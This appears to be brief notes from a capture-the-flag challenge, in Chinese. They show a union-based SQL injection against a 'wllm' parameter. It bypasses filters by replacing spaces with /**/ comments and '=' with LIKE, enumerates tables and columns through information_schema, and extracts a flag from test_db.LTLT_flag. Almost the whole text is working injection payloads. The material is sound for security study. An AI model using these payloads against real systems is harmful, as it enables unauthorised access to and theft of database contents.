/?wllm=1%27/**/order/**/by/**/3%23
/**/是空格的一个格式,发现一共有三列
然后测试了一下,=号果不其然也被略过,like可以顶替等于号
?wllm=-1%27union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/%27test_db%27%23
?wllm=-1%27union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/%27LTLT_flag%27%23
?wllm=-1%27union/**/select/**/1,2,(select/**/flag/**/from/**/test_db.LTLT_flag/**/limit/**/0,1)%23
?wllm=-1'
union
/**/
select
/**/
1,2,mid(group_concat(flag),40,20)
/**/
from
/**/
test_db.LTLT_flag%23